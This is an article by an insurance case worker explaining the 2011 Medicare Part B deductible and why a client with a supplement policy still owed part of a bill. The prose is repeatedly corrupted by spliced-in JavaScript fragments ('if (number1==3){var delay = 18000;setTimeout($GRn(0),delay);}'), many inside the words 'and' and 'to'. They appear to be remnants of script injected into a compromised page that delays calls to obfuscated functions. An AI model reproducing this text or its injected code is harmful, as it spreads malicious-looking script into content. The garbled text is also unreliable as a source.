A seventy year old client phoned me dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ask why she was being billed for $124.10 when she had both Medicare dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a Medicare supplement insurance policy through our insurance agency. I asked the client for some details dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and then phoned her insurance company dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to get more details from it.
The client got medical services in early February of 2011. In 2011, the Medicare Part B annual deductible is $162. That means that when a person on Medicare uses a docdom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor, clinic, laboradom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory, or other outpatient medical service, the first $162 of Medicare approved Part B claims is the patient’s responsibility. After that first $162 is met, then, Medicare dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the patient’s Medicare supplement insurance policy pay on such claims. But, the first $162 is the patient’s responsibility. In-patient hospital services are covered by Medicare Part A dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and have a different deductible amount.
By federal law, Medicare supplement policies are stdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andardized dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to help senior citizens avoid confusion dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and compare coverage from various companies more easily. Medicare supplement insurance companies compete for business with rates dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and service. A STANDARD PLAN F policy from one insurance company will pay exactly the same as a STANDARD PLAN F policy from another insurance company. The STANDARD PLANS cover none, one, or both of the Medicare Part A dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Part B deductibles. The more annual deductibles that you want dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be covered by a Medicare supplement policy, the higher the rates will be because the insurance company will pay the deductible under the terms of the insurance contract.
This insurance agency is contracted with about two dozen insurance companies for Medicare supplement insurance. This allows our agents dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to review a client’s health dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and financial ability in order dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to match the client with the most affordable rate for the type of STANDARD PLAN policy that the client wants. We believe that this is a better way dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to serve senior citizens.
In the case of this client, she had a policy that did not cover the Medicare Part B annual deductible. She could have bought a policy that did cover the deductible, but such a policy would have cost more money. If she dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}told her insurance agent that she wanted dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to keep the monthly premium low, then it would be natural for an agent dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to suggest the policy that she bought.
Note: Woodrow Wilcox is the senior medical bill case worker at Senior Care Insurance Services in Merrillville, Indiana. That agency has an office in Schererville, also.
© 2011 Woodrow Wilcox